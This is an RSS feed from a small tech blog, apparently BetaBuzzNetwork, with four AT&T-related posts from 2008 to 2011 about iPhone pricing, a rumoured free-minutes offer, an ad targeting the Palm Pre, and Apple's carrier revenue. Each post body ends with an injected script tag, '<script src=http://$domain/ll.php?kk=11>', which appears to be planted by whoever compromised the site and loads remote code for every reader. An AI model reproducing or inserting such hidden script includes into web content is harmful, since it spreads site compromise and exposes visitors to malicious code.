<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BetaBuzzNetwork&#187; AT&amp;T</title>
	<atom:link href="http://www.betabuzznetwork.com/tag/att/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.betabuzznetwork.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 03:24:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>AT&amp;T isn&#8217;t done with the iPhone 3gs</title>
		<link>http://www.betabuzznetwork.com/2011/02/15/att-isnt-done-with-the-iphone-3gs/</link>
		<comments>http://www.betabuzznetwork.com/2011/02/15/att-isnt-done-with-the-iphone-3gs/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 23:06:31 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[IPhone]]></category>

		<guid isPermaLink="false">http://www.betabuzznetwork.com/?p=841</guid>
		<description><![CDATA[AT&#38;T has a new commercial to push the iPhone 3Gs for only 49 bucks]]></description>
			<content:encoded><![CDATA[<!--YouTube Error: bad URL entered-->
<p>AT&amp;T has a new commercial to push the iPhone 3Gs for only 49 bucks<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.betabuzznetwork.com/2011/02/15/att-isnt-done-with-the-iphone-3gs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AT&amp;T handing out 1000 free rollover minutes?</title>
		<link>http://www.betabuzznetwork.com/2011/02/11/att-handing-out-1000-free-rollover-minutes/</link>
		<comments>http://www.betabuzznetwork.com/2011/02/11/att-handing-out-1000-free-rollover-minutes/#comments</comments>
		<pubDate>Sat, 12 Feb 2011 04:52:27 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Deals]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[Free Mins]]></category>

		<guid isPermaLink="false">http://www.betabuzznetwork.com/?p=820</guid>
		<description><![CDATA[Engadget is reporting 1000 free rollover minutes from AT&#38;T.  No confirmation on if this legit or is scam.  Use at your own risk Text &#8220;yes&#8221; to 11113020]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-821" title="att" src="http://www.betabuzznetwork.com/wp-content/uploads/2011/02/att.jpg" alt="" width="221" height="300" /></p>
<p><a href="http://www.engadget.com/2011/02/11/atandt-handing-over-1000-free-rollover-minutes-to-all-of-its-custo/" target="_blank">Engadget</a> is reporting 1000 free rollover minutes from AT&amp;T.  No confirmation on if this legit or is scam.  Use at your own risk</p>
<p>Text &#8220;yes&#8221; to 11113020<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.betabuzznetwork.com/2011/02/11/att-handing-out-1000-free-rollover-minutes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ATT takes a shot at Sprints Palm Pre</title>
		<link>http://www.betabuzznetwork.com/2009/04/22/att-takes-a-shot-at-sprints-palm-pre/</link>
		<comments>http://www.betabuzznetwork.com/2009/04/22/att-takes-a-shot-at-sprints-palm-pre/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 03:07:57 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[AT&T]]></category>
		<category><![CDATA[IPhone]]></category>
		<category><![CDATA[Pre]]></category>
		<category><![CDATA[Sprint]]></category>

		<guid isPermaLink="false">http://betabuzz.wordpress.com/?p=306</guid>
		<description><![CDATA[Many of you may have already seen this (image from precentral.com) but if not AT&#38;T is taking a shots at Sprints Palm Pre claiming it doesn&#8217;t come close to what AT&#38;T/Apple iPhone has to offer. Granted AT&#38;T offers many Wi-Fi hotspots and the Apple App store is very established, in the pre&#8217;s defense Sprints NOW<a href="http://www.betabuzznetwork.com/2009/04/22/att-takes-a-shot-at-sprints-palm-pre/">&#160;&#160;[ Read More ]</a>]]></description>
			<content:encoded><![CDATA[<p><a href="www.precentral.net"><img alt="" src="http://www.precentral.net/sites/precentral.net/files/articleimages/Dieter%20Bohn/2009/04/att-pre.png" title="Precentral.net" class="alignnone" width="600" height="400" /></a><br />
Many of you may have already seen this (image from precentral.com) but if not AT&amp;T is taking a shots at Sprints Palm Pre claiming it doesn&#8217;t come close to what AT&amp;T/Apple iPhone has to offer.  Granted AT&amp;T offers many Wi-Fi hotspots and the Apple App store is very established, in the pre&#8217;s defense Sprints NOW Network is the fastest network out there. Also most of AT&amp;T&#8217;s hotspots are in the large cities, where you are almost guaranteed to have perfect reception to use your carriers network.  Hands down Apple App store wins, we just haven&#8217;t seen enough from the Pre.  Speculations has been high, but frustration is also growing.  Let&#8217;s all hope the Pre is released byMay 17.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.betabuzznetwork.com/2009/04/22/att-takes-a-shot-at-sprints-palm-pre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apple AT&amp;T relationship a good one?</title>
		<link>http://www.betabuzznetwork.com/2008/06/07/apple-att-relationship-a-good-one/</link>
		<comments>http://www.betabuzznetwork.com/2008/06/07/apple-att-relationship-a-good-one/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 17:19:35 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[IPhone]]></category>

		<guid isPermaLink="false">http://betabuzz.wordpress.com/?p=75</guid>
		<description><![CDATA[This is follow up to this story http://valleywag.com/tech/apple/apple-profits-half-a-grand-per-iphone-314408.php http://www.bloomberg.com/apps/news?pid=20601103&#038;sid=a.Yir.VaIVZk&#038;refer=us Valleywag reported that Apple will make a lot of dollars on each iPhone users over 2 year span. I just think Steve could cash in even if he didn&#8217;t make an exclusive deal with AT&#38;T. Apple Gets $135/per 8 GB iPhone (probably more now, since costs<a href="http://www.betabuzznetwork.com/2008/06/07/apple-att-relationship-a-good-one/">&#160;&#160;[ Read More ]</a>]]></description>
			<content:encoded><![CDATA[<p>This is follow up to this story http://valleywag.com/tech/apple/apple-profits-half-a-grand-per-iphone-314408.php</p>
<p>http://www.bloomberg.com/apps/news?pid=20601103&#038;sid=a.Yir.VaIVZk&#038;refer=us</p>
<p>Valleywag reported that Apple will make a lot of dollars on each iPhone users over 2 year span.  I just think Steve could cash in even if he didn&#8217;t make an exclusive deal with AT&amp;T.</p>
<p>Apple Gets $135/per 8 GB iPhone (probably more now, since costs have gone down)<br />
Apple Gets $18/month per user, using iPhone.. $216/2yrs<br />
= 135 + 216 = $351/iPhone<br />
Apple has sold 5.4 million iPhones<br />
AT&amp;T in march reported to have 2.5 million iPhone customers</p>
<p>Steve is losing out on $216 on almost 2 million iPhones.</p>
<p>My rant:<br />
I am sure Apple could have made a deal that would have worked with multiple carriers. They probably would have reached the 10 million goal if the supported CDMA networks.</p>
<p>For example Palm. Palm sells the Centro for AT&amp;T, Sprint, and Verizon. Palm also sells an unlocked version of the phone for 200 dollars more then the carrier specific phones.</p>
<p>Apple knows, the industry knows &#8211; iPhone is the best phone out there. But as for many companies they have contracts with Verizon and Sprint. Imagine if the iPhone was able to those markets. The reasons are quiet apparent why Apple is 2nd to Rimm&#8217;s Blackberry. It will continue to stay this way until Apple offers the iPhone to other carriers.</p>
<p>The math</p>
<p>$216 x 2.5 million = $540 million &#8211;&gt; not all upfront<br />
$135 x 5.4 million = $729 million<br />
Total = $1.269 billion</p>
<p>$135 x 10 million (estimated users, if phone was available to verizon and sprint) = $1.35 billion<br />
also all upfront, there is no waiting on the money.</p>
<p>$100 million isn&#8217;t exactly chump change..</p>
<p>Bias:<br />
I am a Sprint user. Why? Cause its cheap and I am a happy Palm Centro user. If the iPhone was available to Sprint, I would have it.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.betabuzznetwork.com/2008/06/07/apple-att-relationship-a-good-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced

Served from: www.betabuzznetwork.com @ 2012-02-09 12:10:51 -->
